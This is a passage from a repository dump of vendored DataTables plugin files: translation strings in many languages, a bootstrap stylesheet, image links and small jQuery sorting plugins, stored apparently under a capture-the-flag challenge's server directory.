εγγραφές", 13 | "sInfoEmpty": "Δείχνοντας 0 εως 0 από 0 εγγραφές", 14 | "sInfoFiltered": "(φιλτραρισμένες από _MAX_ συνολικά εγγραφές)", 15 | "sInfoPostFix": "", 16 | "sSearch": "Αναζήτηση:", 17 | "sUrl": "", 18 | "oPaginate": { 19 | "sFirst": "Πρώτη", 20 | "sPrevious": "Προηγούμενη", 21 | "sNext": "Επόμενη", 22 | "sLast": "Τελευταία" 23 | } 24 | } 25 | -------------------------------------------------------------------------------- /2018/wctf-belluminar/mimicdb/server/bower_components/datatables-plugins/i18n/Hebrew.lang: -------------------------------------------------------------------------------- 1 | /** 2 | * Hebrew translation 3 | * @name Hebrew 4 | * @anchor Hebrew 5 | * @author Neil Osman (WW3) 6 | */ 7 | 8 | { 9 | "sProcessing": "מעבד...", 10 | "sLengthMenu": "הצג _MENU_ פריטים", 11 | "sZeroRecords": "לא נמצאו רשומות מתאימות", 12 | "sInfo": "_START_ עד _END_ מתוך _TOTAL_ רשומות" , 13 | "sInfoEmpty": "0 עד 0 מתוך 0 רשומות", 14 | "sInfoFiltered": "(מסונן מסך _MAX_ רשומות)", 15 | "sInfoPostFix": "", 16 | "sSearch": "חפש:", 17 | "sUrl": "", 18 | "oPaginate": { 19 | "sFirst": "ראשון", 20 | "sPrevious": "קודם", 21 | "sNext": "הבא", 22 | "sLast": "אחרון" 23 | } 24 | } 25 | -------------------------------------------------------------------------------- /2018/wctf-belluminar/mimicdb/server/bower_components/datatables-plugins/i18n/Hindi.lang: -------------------------------------------------------------------------------- 1 | /** 2 | * Hindi translation 3 | * @name Hindi 4 | * @anchor Hindi 5 | * @author Outshine Solutions 6 | */ 7 | 8 | { 9 | "sProcessing": "प्रगति पे हैं ...", 10 | "sLengthMenu": " _MENU_ प्रविष्टियां दिखाएं ", 11 | "sZeroRecords": "रिकॉर्ड्स का मेल नहीं मिला", 12 | "sInfo": "_START_ to _END_ of _TOTAL_ प्रविष्टियां दिखा रहे हैं", 13 | "sInfoEmpty": "0 में से 0 से 0 प्रविष्टियां दिखा रहे हैं", 14 | "sInfoFiltered": "(_MAX_ कुल प्रविष्टियों में से छठा हुआ)", 15 | "sInfoPostFix": "", 16 | "sSearch": "खोजें:", 17 | "sUrl": "", 18 | "oPaginate": { 19 | "sFirst": "प्रथम", 20 | "sPrevious": "पिछला", 21 | "sNext": "अगला", 22 | "sLast": "अंतिम" 23 | } 24 | } 25 | -------------------------------------------------------------------------------- /2018/wctf-belluminar/mimicdb/server/bower_components/datatables-plugins/i18n/Indonesian-Alternative.lang: -------------------------------------------------------------------------------- 1 | /** 2 | * Indonesian translation 3 | * @name Indonesian 4 | * @anchor Indonesian 5 | * @author Landung Wahana 6 | */ 7 | 8 | { 9 | "sProcessing": "Sedang proses...", 10 | "sLengthMenu": "Tampilan _MENU_ entri", 11 | "sZeroRecords": "Tidak ditemukan data yang sesuai", 12 | "sInfo": "Tampilan _START_ sampai _END_ dari _TOTAL_ entri", 13 | "sInfoEmpty": "Tampilan 0 hingga 0 dari 0 entri", 14 | "sInfoFiltered": "(disaring dari _MAX_ entri keseluruhan)", 15 | "sInfoPostFix": "", 16 | "sSearch": "Cari:", 17 | "sUrl": "", 18 | "oPaginate": { 19 | "sFirst": "Awal", 20 | "sPrevious": "Balik", 21 | "sNext": "Lanjut", 22 | "sLast": "Akhir" 23 | } 24 | } 25 | -------------------------------------------------------------------------------- /2018/wctf-belluminar/mimicdb/server/bower_components/datatables-plugins/i18n/Indonesian.lang: -------------------------------------------------------------------------------- 1 | /** 2 | * Indonesian translation 3 | * @name Indonesian 4 | * @anchor Indonesian 5 | * @author Cipto Hadi 6 | */ 7 | 8 | { 9 | "sProcessing": "Sedang memproses...", 10 | "sLengthMenu": "Tampilkan _MENU_ entri", 11 | "sZeroRecords": "Tidak ditemukan data yang sesuai", 12 | "sInfo": "Menampilkan _START_ sampai _END_ dari _TOTAL_ entri", 13 | "sInfoEmpty": "Menampilkan 0 sampai 0 dari 0 entri", 14 | "sInfoFiltered": "(disaring dari _MAX_ entri keseluruhan)", 15 | "sInfoPostFix": "", 16 | "sSearch": "Cari:", 17 | "sUrl": "", 18 | "oPaginate": { 19 | "sFirst": "Pertama", 20 | "sPrevious": "Sebelumnya", 21 | "sNext": "Selanjutnya", 22 | "sLast": "Terakhir" 23 | } 24 | } -------------------------------------------------------------------------------- /2018/wctf-belluminar/mimicdb/server/bower_components/datatables-plugins/i18n/Irish.lang: -------------------------------------------------------------------------------- 1 | /** 2 | * Irish translation 3 | * @name Irish 4 | * @anchor Irish 5 | * @author Lets Be Famous Journal 6 | */ 7 | 8 | { 9 | "sProcessing": "Próiseáil...", 10 | "sLengthMenu": "Taispeáin iontrálacha _MENU_", 11 | "sZeroRecords": "Gan aon taifead meaitseáil aimsithe", 12 | "sInfo": "_START_ Showing a _END_ na n-iontrálacha _TOTAL_", 13 | "sInfoEmpty": "Showing 0-0 na n-iontrálacha 0", 14 | "sInfoFiltered": "(scagtha ó _MAX_ iontrálacha iomlán)", 15 | "sInfoPostFix": "", 16 | "sSearch": "Cuardaigh:", 17 | "sUrl": "", 18 | "oPaginate": { 19 | "sFirst": "An Chéad", 20 | "sPrevious": "Roimhe Seo", 21 | "sNext": "Ar Aghaidh", 22 | "sLast": "Last" 23 | } 24 | } 25 | -------------------------------------------------------------------------------- /2018/wctf-belluminar/mimicdb/server/bower_components/datatables-plugins/i18n/Japanese.lang: -------------------------------------------------------------------------------- 1 | /** 2 | * Japanese translation 3 | * @name Japanese 4 | * @anchor Japanese 5 | * @author yusuke 6 | */ 7 | 8 | { 9 | "sProcessing": "処理中...", 10 | "sLengthMenu": "_MENU_ 件表示", 11 | "sZeroRecords": "データはありません。", 12 | "sInfo": " _TOTAL_ 件中 _START_ から _END_ まで表示", 13 | "sInfoEmpty": " 0 件中 0 から 0 まで表示", 14 | "sInfoFiltered": "(全 _MAX_ 件より抽出)", 15 | "sInfoPostFix": "", 16 | "sSearch": "検索:", 17 | "sUrl": "", 18 | "oPaginate": { 19 | "sFirst": "先頭", 20 | "sPrevious": "前", 21 | "sNext": "次", 22 | "sLast": "最終" 23 | } 24 | } -------------------------------------------------------------------------------- /2018/wctf-belluminar/mimicdb/server/bower_components/datatables-plugins/i18n/Korean.lang: -------------------------------------------------------------------------------- 1 | /** 2 | * Korean translation 3 | * @name Korean 4 | * @anchor Korean 5 | * @author WonGoo Lee 6 | */ 7 | 8 | { 9 | "sEmptyTable": "데이터가 없습니다", 10 | "sInfo": "_START_ - _END_ / _TOTAL_", 11 | "sInfoEmpty": "0 - 0 / 0", 12 | "sInfoFiltered": "(총 _MAX_ 개)", 13 | "sInfoPostFix": "", 14 | "sInfoThousands": ",", 15 | "sLengthMenu": "페이지당 줄수 _MENU_", 16 | "sLoadingRecords": "읽는중...", 17 | "sProcessing": "처리중...", 18 | "sSearch": "검색:", 19 | "sZeroRecords": "검색 결과가 없습니다", 20 | "oPaginate": { 21 | "sFirst": "처음", 22 | "sLast": "마지막", 23 | "sNext": "다음", 24 | "sPrevious": "이전" 25 | }, 26 | "oAria": { 27 | "sSortAscending": ": 오름차순 정렬", 28 | "sSortDescending": ": 내림차순 정렬" 29 | } 30 | } -------------------------------------------------------------------------------- /2018/wctf-belluminar/mimicdb/server/bower_components/datatables-plugins/i18n/Latvian.lang: -------------------------------------------------------------------------------- 1 | /** 2 | * Latvian translation 3 | * @name Latvian 4 | * @anchor Latvian 5 | * @author Oskars Podans 6 | */ 7 | 8 | { 9 | "sProcessing": "Uzgaidiet...", 10 | "sLengthMenu": "Rādīt _MENU_ ierakstus", 11 | "sZeroRecords": "Nav atrasti vaicājumam atbilstoši ieraksti", 12 | "sInfo": "Parādīti _START_. līdz _END_. no _TOTAL_ ierakstiem", 13 | "sInfoEmpty": "Nav ierakstu", 14 | "sInfoFiltered": "(atlasīts no pavisam _MAX_ ierakstiem)", 15 | "sInfoPostFix": "", 16 | "sSearch": "Meklēt:", 17 | "sUrl": "", 18 | "oPaginate": { 19 | "sFirst": "Pirmā", 20 | "sPrevious": "Iepriekšējā", 21 | "sNext": "Nākošā", 22 | "sLast": "Pēdējā" 23 | } 24 | } 25 | -------------------------------------------------------------------------------- /2018/wctf-belluminar/mimicdb/server/bower_components/datatables-plugins/i18n/Lithuanian.lang: -------------------------------------------------------------------------------- 1 | /** 2 | * Lithuanian translation 3 | * @name Lithuanian 4 | * @anchor Lithuanian 5 | * @author Kęstutis Morkūnas 6 | */ 7 | 8 | { 9 | "sProcessing": "Apdorojama...", 10 | "sLengthMenu": "Rodyti _MENU_ įrašus", 11 | "sZeroRecords": "Įrašų nerasta", 12 | "sInfo": "Rodomi įrašai nuo _START_ iki _END_ iš _TOTAL_ įrašų", 13 | "sInfoEmpty": "Rodomi įrašai nuo 0 iki 0 iš 0", 14 | "sInfoFiltered": "(atrinkta iš _MAX_ įrašų)", 15 | "sInfoPostFix": "", 16 | "sSearch": "Ieškoti:", 17 | "sUrl": "", 18 | "oPaginate": { 19 | "sFirst": "Pirmas", 20 | "sPrevious": "Ankstesnis", 21 | "sNext": "Tolimesnis", 22 | "sLast": "Paskutinis" 23 | } 24 | } 25 | -------------------------------------------------------------------------------- /2018/wctf-belluminar/mimicdb/server/bower_components/datatables-plugins/i18n/Macedonian.lang: -------------------------------------------------------------------------------- 1 | /** 2 | * Macedonian translation 3 | * @name Macedonian 4 | * @anchor Macedonian 5 | * @author Bojan Petkovski 6 | */ 7 | 8 | { 9 | "sProcessing": "Процесирање...", 10 | "sLengthMenu": "Прикажи _MENU_ записи", 11 | "sZeroRecords": "Не се пронајдени записи", 12 | "sEmptyTable": "Нема податоци во табелата", 13 | "sLoadingRecords": "Вчитување...", 14 | "sInfo": "Прикажани _START_ до _END_ од _TOTAL_ записи", 15 | "sInfoEmpty": "Прикажани 0 до 0 од 0 записи", 16 | "sInfoFiltered": "(филтрирано од вкупно _MAX_ записи)", 17 | "sInfoPostFix": "", 18 | "sSearch": "Барај", 19 | "sUrl": "", 20 | "oPaginate": { 21 | "sFirst": "Почетна", 22 | "sPrevious": "Претходна", 23 | "sNext": "Следна", 24 | "sLast": "Последна" 25 | } 26 | } 27 | -------------------------------------------------------------------------------- /2018/wctf-belluminar/mimicdb/server/bower_components/datatables-plugins/i18n/Norwegian.lang: -------------------------------------------------------------------------------- 1 | /** 2 | * Norwegian translation 3 | * @name Norwegian 4 | * @anchor Norwegian 5 | * @author Petter Ekrann 6 | */ 7 | 8 | { 9 | "sProcessing": "Laster...", 10 | "sLengthMenu": "Vis _MENU_ linjer", 11 | "sZeroRecords": "Ingen linjer matcher søket", 12 | "sInfo": "Viser _START_ til _END_ av _TOTAL_ linjer", 13 | "sInfoEmpty": "Viser 0 til 0 av 0 linjer", 14 | "sInfoFiltered": "(filtrert fra _MAX_ totalt antall linjer)", 15 | "sInfoPostFix": "", 16 | "sSearch": "Søk:", 17 | "sUrl": "", 18 | "oPaginate": { 19 | "sFirst": "Første", 20 | "sPrevious": "Forrige", 21 | "sNext": "Neste", 22 | "sLast": "Siste" 23 | } 24 | } 25 | -------------------------------------------------------------------------------- /2018/wctf-belluminar/mimicdb/server/bower_components/datatables-plugins/i18n/Persian.lang: -------------------------------------------------------------------------------- 1 | /** 2 | * Persian translation 3 | * @name Persian 4 | * @anchor Persian 5 | * @author Ehsan Chavoshi 6 | */ 7 | 8 | { 9 | "sProcessing": "درحال پردازش...", 10 | "sLengthMenu": "نمایش محتویات _MENU_", 11 | "sZeroRecords": "موردی یافت نشد", 12 | "sInfo": "نمایش _START_ تا _END_ از مجموع _TOTAL_ مورد", 13 | "sInfoEmpty": "تهی", 14 | "sInfoFiltered": "(فیلتر شده از مجموع _MAX_ مورد)", 15 | "sInfoPostFix": "", 16 | "sSearch": "جستجو:", 17 | "sUrl": "", 18 | "oPaginate": { 19 | "sFirst": "ابتدا", 20 | "sPrevious": "قبلی", 21 | "sNext": "بعدی", 22 | "sLast": "انتها" 23 | } 24 | } 25 | -------------------------------------------------------------------------------- /2018/wctf-belluminar/mimicdb/server/bower_components/datatables-plugins/i18n/Portuguese.lang: -------------------------------------------------------------------------------- 1 | /** 2 | * Portuguese translation 3 | * @name Portuguese 4 | * @anchor Portuguese 5 | * @author Nuno Felicio 6 | */ 7 | 8 | { 9 | "sProcessing": "A processar...", 10 | "sLengthMenu": "Mostrar _MENU_ registos", 11 | "sZeroRecords": "Não foram encontrados resultados", 12 | "sInfo": "Mostrando de _START_ até _END_ de _TOTAL_ registos", 13 | "sInfoEmpty": "Mostrando de 0 até 0 de 0 registos", 14 | "sInfoFiltered": "(filtrado de _MAX_ registos no total)", 15 | "sInfoPostFix": "", 16 | "sSearch": "Procurar:", 17 | "sUrl": "", 18 | "oPaginate": { 19 | "sFirst": "Primeiro", 20 | "sPrevious": "Anterior", 21 | "sNext": "Seguinte", 22 | "sLast": "Último" 23 | } 24 | } 25 | -------------------------------------------------------------------------------- /2018/wctf-belluminar/mimicdb/server/bower_components/datatables-plugins/i18n/Romanian.lang: -------------------------------------------------------------------------------- 1 | /** 2 | * Romanian translation 3 | * @name Romanian 4 | * @anchor Romanian 5 | * @author Alexandru Jurubita 6 | */ 7 | 8 | { 9 | "sProcessing": "Proceseaza...", 10 | "sLengthMenu": "Afiseaza _MENU_ inregistrari pe pagina", 11 | "sZeroRecords": "Nu am gasit nimic - ne pare rau", 12 | "sInfo": "Afisate de la _START_ la _END_ din _TOTAL_ inregistrari", 13 | "sInfoEmpty": "Afisate de la 0 la 0 din 0 inregistrari", 14 | "sInfoFiltered": "(filtrate dintr-un total de _MAX_ inregistrari)", 15 | "sInfoPostFix": "", 16 | "sSearch": "Cauta:", 17 | "sUrl": "", 18 | "oPaginate": { 19 | "sFirst": "Prima", 20 | "sPrevious": "Precedenta", 21 | "sNext": "Urmatoarea", 22 | "sLast": "Ultima" 23 | } 24 | } 25 | -------------------------------------------------------------------------------- /2018/wctf-belluminar/mimicdb/server/bower_components/datatables-plugins/i18n/Serbian.lang: -------------------------------------------------------------------------------- 1 | /** 2 | * Serbian translation (Latin alphabet) 3 | * @name Serbian (Latin) 4 | * @anchor Serbian (Latin) 5 | * @author Marko Novakovic 6 | */ 7 | 8 | { 9 | "sProcessing": "Procesiranje u toku...", 10 | "sLengthMenu": "Prikaži _MENU_ elemenata", 11 | "sZeroRecords": "Nije pronađen nijedan rezultat", 12 | "sInfo": "Prikaz _START_ do _END_ od ukupno _TOTAL_ elemenata", 13 | "sInfoEmpty": "Prikaz 0 do 0 od ukupno 0 elemenata", 14 | "sInfoFiltered": "(filtrirano od ukupno _MAX_ elemenata)", 15 | "sInfoPostFix": "", 16 | "sSearch": "Pretraga:", 17 | "sUrl": "", 18 | "oPaginate": { 19 | "sFirst": "Početna", 20 | "sPrevious": "Prethodna", 21 | "sNext": "Sledeća", 22 | "sLast": "Poslednja" 23 | } 24 | } 25 | -------------------------------------------------------------------------------- /2018/wctf-belluminar/mimicdb/server/bower_components/datatables-plugins/i18n/Slovenian.lang: -------------------------------------------------------------------------------- 1 | /** 2 | * Slovenian translation 3 | * @name Slovenian 4 | * @anchor Slovenian 5 | * @author Marko Kroflic, Blaž Brenčič and Andrej Florjančič 6 | */ 7 | 8 | { 9 | "sEmptyTable": "Nobenih podatkov ni na voljo", 10 | "sInfo": "Prikazujem _START_ do _END_ od _TOTAL_ zapisov", 11 | "sInfoEmpty": "Prikazujem 0 do 0 od 0 zapisov", 12 | "sInfoFiltered": "(filtrirano od _MAX_ vseh zapisov)", 13 | "sInfoPostFix": "", 14 | "sInfoThousands": ",", 15 | "sLengthMenu": "Prikaži _MENU_ zapisov", 16 | "sLoadingRecords": "Nalagam...", 17 | "sProcessing": "Obdelujem...", 18 | "sSearch": "Išči:", 19 | "sZeroRecords": "Nobeden zapis ne ustreza", 20 | "oPaginate": { 21 | "sFirst": "Prvi", 22 | "sLast": "Zadnji", 23 | "sNext": "Nasl.", 24 | "sPrevious": "Pred." 25 | }, 26 | "oAria": { 27 | "sSortAscending": ": vključite za naraščujoči sort", 28 | "sSortDescending": ": vključite za padajoči sort" 29 | } 30 | } -------------------------------------------------------------------------------- /2018/wctf-belluminar/mimicdb/server/bower_components/datatables-plugins/i18n/Thai.lang: -------------------------------------------------------------------------------- 1 | /** 2 | * Thai translation 3 | * @name Thai 4 | * @anchor Thai 5 | * @author Thanva Thonglor 6 | */ 7 | 8 | { 9 | "sProcessing": "กำลังดำเนินการ...", 10 | "sLengthMenu": "แสดง_MENU_ แถว", 11 | "sZeroRecords": "ไม่พบข้อมูล", 12 | "sInfo": "แสดง _START_ ถึง _END_ จาก _TOTAL_ แถว", 13 | "sInfoEmpty": "แสดง 0 ถึง 0 จาก 0 แถว", 14 | "sInfoFiltered": "(กรองข้อมูล _MAX_ ทุกแถว)", 15 | "sInfoPostFix": "", 16 | "sSearch": "ค้นหา:", 17 | "sUrl": "", 18 | "oPaginate": { 19 | "sFirst": "เิริ่มต้น", 20 | "sPrevious": "ก่อนหน้า", 21 | "sNext": "ถัดไป", 22 | "sLast": "สุดท้าย" 23 | } 24 | } 25 | -------------------------------------------------------------------------------- /2018/wctf-belluminar/mimicdb/server/bower_components/datatables-plugins/i18n/Turkish.lang: -------------------------------------------------------------------------------- 1 | /** 2 | * Turkish translation 3 | * @name Turkish 4 | * @anchor Turkish 5 | * @author Umit Gorkem 6 | */ 7 | 8 | { 9 | "sProcessing": "İşleniyor...", 10 | "sLengthMenu": "Sayfada _MENU_ Kayıt Göster", 11 | "sZeroRecords": "Eşleşen Kayıt Bulunmadı", 12 | "sInfo": " _TOTAL_ Kayıttan _START_ - _END_ Arası Kayıtlar", 13 | "sInfoEmpty": "Kayıt Yok", 14 | "sInfoFiltered": "( _MAX_ Kayıt İçerisinden Bulunan)", 15 | "sInfoPostFix": "", 16 | "sSearch": "Bul:", 17 | "sUrl": "", 18 | "oPaginate": { 19 | "sFirst": "İlk", 20 | "sPrevious": "Önceki", 21 | "sNext": "Sonraki", 22 | "sLast": "Son" 23 | } 24 | } 25 | -------------------------------------------------------------------------------- /2018/wctf-belluminar/mimicdb/server/bower_components/datatables-plugins/i18n/Ukranian.lang: -------------------------------------------------------------------------------- 1 | /** 2 | * Ukranian translation 3 | * @name Ukranian 4 | * @anchor Ukranian 5 | * @author antyrat 6 | */ 7 | 8 | { 9 | "sProcessing": "Зачекайте...", 10 | "sLengthMenu": "Показати _MENU_ записів", 11 | "sZeroRecords": "Записи відсутні.", 12 | "sInfo": "Записи з _START_ по _END_ із _TOTAL_ записів", 13 | "sInfoEmpty": "Записи з 0 по 0 із 0 записів", 14 | "sInfoFiltered": "(відфільтровано з _MAX_ записів)", 15 | "sInfoPostFix": "", 16 | "sSearch": "Пошук:", 17 | "sUrl": "", 18 | "oPaginate": { 19 | "sFirst": "Перша", 20 | "sPrevious": "Попередня", 21 | "sNext": "Наступна", 22 | "sLast": "Остання" 23 | }, 24 | "oAria": { 25 | "sSortAscending": ": активувати для сортування стовпців за зростанням", 26 | "sSortDescending": ": активувати для сортування стовпців за спаданням" 27 | } 28 | } 29 | -------------------------------------------------------------------------------- /2018/wctf-belluminar/mimicdb/server/bower_components/datatables-plugins/i18n/Urdu.lang: -------------------------------------------------------------------------------- 1 | /** 2 | * Urdu translation 3 | * @name Urdu 4 | * @anchor Urdu 5 | * @author Zafar Subzwari 6 | */ 7 | 8 | { 9 | "sProcessing": "ہے جاري عملدرامد...", 10 | "sLengthMenu": "دکہائين شقيں کي (_MENU_) فہرست", 11 | "sZeroRecords": "ملے نہيں مفروضات جلتے ملتے کوئ", 12 | "sInfo": "فہرست کي تک _END_ سے _START_ سے ميں _TOTAL_ فہرست پوري ہے نظر پيش", 13 | "sInfoEmpty": "فہرست کي تک 0 سے 0 سے ميں 0 قل ہے نظر پيشّ", 14 | "sInfoFiltered": "(فہرست ہوئ چھني سے ميں _MAX_ قل)", 15 | "sInfoPostFix": "", 16 | "sSearch": "کرو تلاش:", 17 | "sUrl": "", 18 | "oPaginate": { 19 | "sFirst": "پہلا", 20 | "sPrevious": "پچہلا", 21 | "sNext": "اگلا", 22 | "sLast": "آخري" 23 | } 24 | } 25 | -------------------------------------------------------------------------------- /2018/wctf-belluminar/mimicdb/server/bower_components/datatables-plugins/i18n/Vietnamese.lang: -------------------------------------------------------------------------------- 1 | /** 2 | * Vietnamese translation 3 | * @name Vietnamese 4 | * @anchor Vietnamese 5 | * @author Trinh Phuoc Thai 6 | */ 7 | 8 | { 9 | "sProcessing": "Đang xử lý...", 10 | "sLengthMenu": "Xem _MENU_ mục", 11 | "sZeroRecords": "Không tìm thấy dòng nào phù hợp", 12 | "sInfo": "Đang xem _START_ đến _END_ trong tổng số _TOTAL_ mục", 13 | "sInfoEmpty": "Đang xem 0 đến 0 trong tổng số 0 mục", 14 | "sInfoFiltered": "(được lọc từ _MAX_ mục)", 15 | "sInfoPostFix": "", 16 | "sSearch": "Tìm:", 17 | "sUrl": "", 18 | "oPaginate": { 19 | "sFirst": "Đầu", 20 | "sPrevious": "Trước", 21 | "sNext": "Tiếp", 22 | "sLast": "Cuối" 23 | } 24 | } 25 | -------------------------------------------------------------------------------- /2018/wctf-belluminar/mimicdb/server/bower_components/datatables-plugins/integration/bootstrap/1/dataTables.bootstrap.css: -------------------------------------------------------------------------------- 1 | div.dataTables_length label { 2 | width: 460px; 3 | float: left; 4 | text-align: left; 5 | } 6 | 7 | div.dataTables_length select { 8 | width: 75px; 9 | } 10 | 11 | div.dataTables_filter label { 12 | float: right; 13 | width: 460px; 14 | } 15 | 16 | div.dataTables_info { 17 | padding-top: 8px; 18 | } 19 | 20 | div.dataTables_paginate { 21 | float: right; 22 | margin: 0; 23 | } 24 | 25 | table { 26 | margin: 1em 0; 27 | clear: both; 28 | } -------------------------------------------------------------------------------- /2018/wctf-belluminar/mimicdb/server/bower_components/datatables-plugins/integration/bootstrap/images/sort_asc.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/beched/ctf/c6288c4e371eace11fa9d23715ef1000fbb652cb/2018/wctf-belluminar/mimicdb/server/bower_components/datatables-plugins/integration/bootstrap/images/sort_asc.png -------------------------------------------------------------------------------- /2018/wctf-belluminar/mimicdb/server/bower_components/datatables-plugins/integration/bootstrap/images/sort_asc_disabled.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/beched/ctf/c6288c4e371eace11fa9d23715ef1000fbb652cb/2018/wctf-belluminar/mimicdb/server/bower_components/datatables-plugins/integration/bootstrap/images/sort_asc_disabled.png -------------------------------------------------------------------------------- /2018/wctf-belluminar/mimicdb/server/bower_components/datatables-plugins/integration/bootstrap/images/sort_both.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/beched/ctf/c6288c4e371eace11fa9d23715ef1000fbb652cb/2018/wctf-belluminar/mimicdb/server/bower_components/datatables-plugins/integration/bootstrap/images/sort_both.png -------------------------------------------------------------------------------- /2018/wctf-belluminar/mimicdb/server/bower_components/datatables-plugins/integration/bootstrap/images/sort_desc.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/beched/ctf/c6288c4e371eace11fa9d23715ef1000fbb652cb/2018/wctf-belluminar/mimicdb/server/bower_components/datatables-plugins/integration/bootstrap/images/sort_desc.png -------------------------------------------------------------------------------- /2018/wctf-belluminar/mimicdb/server/bower_components/datatables-plugins/integration/bootstrap/images/sort_desc_disabled.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/beched/ctf/c6288c4e371eace11fa9d23715ef1000fbb652cb/2018/wctf-belluminar/mimicdb/server/bower_components/datatables-plugins/integration/bootstrap/images/sort_desc_disabled.png -------------------------------------------------------------------------------- /2018/wctf-belluminar/mimicdb/server/bower_components/datatables-plugins/integration/foundation/images/sort_asc.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/beched/ctf/c6288c4e371eace11fa9d23715ef1000fbb652cb/2018/wctf-belluminar/mimicdb/server/bower_components/datatables-plugins/integration/foundation/images/sort_asc.png -------------------------------------------------------------------------------- /2018/wctf-belluminar/mimicdb/server/bower_components/datatables-plugins/integration/foundation/images/sort_asc_disabled.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/beched/ctf/c6288c4e371eace11fa9d23715ef1000fbb652cb/2018/wctf-belluminar/mimicdb/server/bower_components/datatables-plugins/integration/foundation/images/sort_asc_disabled.png -------------------------------------------------------------------------------- /2018/wctf-belluminar/mimicdb/server/bower_components/datatables-plugins/integration/foundation/images/sort_both.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/beched/ctf/c6288c4e371eace11fa9d23715ef1000fbb652cb/2018/wctf-belluminar/mimicdb/server/bower_components/datatables-plugins/integration/foundation/images/sort_both.png -------------------------------------------------------------------------------- /2018/wctf-belluminar/mimicdb/server/bower_components/datatables-plugins/integration/foundation/images/sort_desc.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/beched/ctf/c6288c4e371eace11fa9d23715ef1000fbb652cb/2018/wctf-belluminar/mimicdb/server/bower_components/datatables-plugins/integration/foundation/images/sort_desc.png -------------------------------------------------------------------------------- /2018/wctf-belluminar/mimicdb/server/bower_components/datatables-plugins/integration/foundation/images/sort_desc_disabled.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/beched/ctf/c6288c4e371eace11fa9d23715ef1000fbb652cb/2018/wctf-belluminar/mimicdb/server/bower_components/datatables-plugins/integration/foundation/images/sort_desc_disabled.png -------------------------------------------------------------------------------- /2018/wctf-belluminar/mimicdb/server/bower_components/datatables-plugins/sorting/alt-string.js: -------------------------------------------------------------------------------- 1 | /** 2 | * Sort on the 'alt' tag of images in a column. This is particularly useful if 3 | * you have a column of images (ticks and crosses for example) and you want to 4 | * control the sorting using the alt tag. 5 | * 6 | * @name Alt string 7 | * @summary Use the `alt` attribute of an image tag as the data to sort upon. 8 | * @author _Jumpy_ 9 | * 10 | * @example 11 | * $('#example').dataTable( { 12 | * columnDefs: [ 13 | * { type: 'alt-string', targets: 0 } 14 | * ] 15 | * } ); 16 | */ 17 | 18 | jQuery.extend( jQuery.fn.dataTableExt.oSort, { 19 | "alt-string-pre": function ( a ) { 20 | return a.match(/alt="(.*?)"/)[1].toLowerCase(); 21 | }, 22 | 23 | "alt-string-asc": function( a, b ) { 24 | return ((a < b) ? -1 : ((a > b) ? 1 : 0)); 25 | }, 26 | 27 | "alt-string-desc": function(a,b) { 28 | return ((a < b) ? 1 : ((a > b) ? -1 : 0)); 29 | } 30 | } ); 31 | -------------------------------------------------------------------------------- /2018/wctf-belluminar/mimicdb/server/bower_components/datatables-plugins/sorting/custom-data-source/dom-checkbox.js: -------------------------------------------------------------------------------- 1 | /** 2 | * Read information from a column of checkboxes (input elements with type 3 | * checkbox) and return an array to use as a basis for sorting. 4 | * 5 | * @summary Sort based on the checked state of checkboxes in a column 6 | * @name Checkbox data source 7 | * @author [Allan Jardine](http://sprymedia.co.uk) 8 | */ 9 | 10 | $.fn.dataTable.ext.order['dom-checkbox'] = function ( settings, col ) 11 | { 12 | return this.api().column( col, {order:'index'} ).nodes().map( function ( td, i ) { 13 | return $('input', td).prop('checked') ? '1' : '0'; 14 | } ); 15 | }; 16 | -------------------------------------------------------------------------------- /2018/wctf-belluminar/mimicdb/server/bower_components/datatables-plugins/sorting/custom-data-source/dom-select.js: -------------------------------------------------------------------------------- 1 | /** 2 | * Read information from a column of select (drop down) menus and return an 3 | * array to use as a basis for sorting. 4 | * 5 | * @summary Sort based on the value of the `dt-tag select` options in a column 6 | * @name Select menu data source 7 | * @requires DataTables 1.10+ 8 | * @author [Allan Jardine](http://sprymedia.co.uk) 9 | */ 10 | 11 | $.fn.dataTable.ext.order['dom-select'] = function ( settings, col ) 12 | { 13 | return this.api().column( col, {order:'index'} ).nodes().map( function ( td, i ) { 14 | return $('select', td).val(); 15 | } ); 16 | }; 17 | -------------------------------------------------------------------------------- /2018/wctf-belluminar/mimicdb/server/bower_components/datatables-plugins/sorting/custom-data-source/dom-text.js: -------------------------------------------------------------------------------- 1 | /** 2 | * Read information from a column of input (type text) elements and return an 3 | * array to use as a basis for sorting. 4 | * 5 | * @summary Sorting based on the values of `dt-tag input` elements in a column. 6 | * @name Input element data source 7 | * @requires DataTables 1.10+ 8 | * @author [Allan Jardine](http://sprymedia.co.uk) 9 | */ 10 | 11 | $.fn.dataTable.ext.order['dom-text'] = function ( settings, col ) 12 | { 13 | return this.api().column( col, {order:'index'} ).nodes().map( function ( td, i ) { 14 | return $('input', td).val(); 15 | } ); 16 | }; 17 | -------------------------------------------------------------------------------- /2018/wctf-belluminar/mimicdb/server/bower_components/datatables-plugins/sorting/scientific.js: -------------------------------------------------------------------------------- 1 | /** 2 | * This plug-in will treat numbers which are in scientific notation (for 3 | * example `1E-10`, `1.2E6` etc) and sort them numerically. 4 | * 5 | * @name Scientific notation sorting 6 | * @summary Sort data which is written in exponential notation. 7 | * @author [Nick Schurch](http://datatables.net/forums/profile/21757/nickschurch) 8 | * 9 | * @example 10 | * $('#example').dataTable( { 11 | * columnDefs: [ 12 | * { type: 'scientific', targets: 0 } 13 | * ] 14 | * } ); 15 | */ 16 | 17 | jQuery.extend( jQuery.fn.dataTableExt.oSort, { 18 | "scientific-pre": function ( a ) { 19 | return parseFloat(a); 20 | }, 21 | 22 | "scientific-asc": function ( a, b ) { 23 | return ((a < b) ? -1 : ((a > b) ? 1 : 0)); 24 | }, 25 | 26 | "scientific-desc": function ( a, b ) { 27 | return ((a < b) ? 1 : ((a > b) ? -1 : 0)); 28 | } 29 | } ); 30 | -------------------------------------------------------------------------------- /2018/wctf-belluminar/mimicdb/server/bower_components/datatables-plugins/type-detection/date-uk.js: -------------------------------------------------------------------------------- 1 | /** 2 | * Automatically detect British (`dd/mm/yyyy`) date 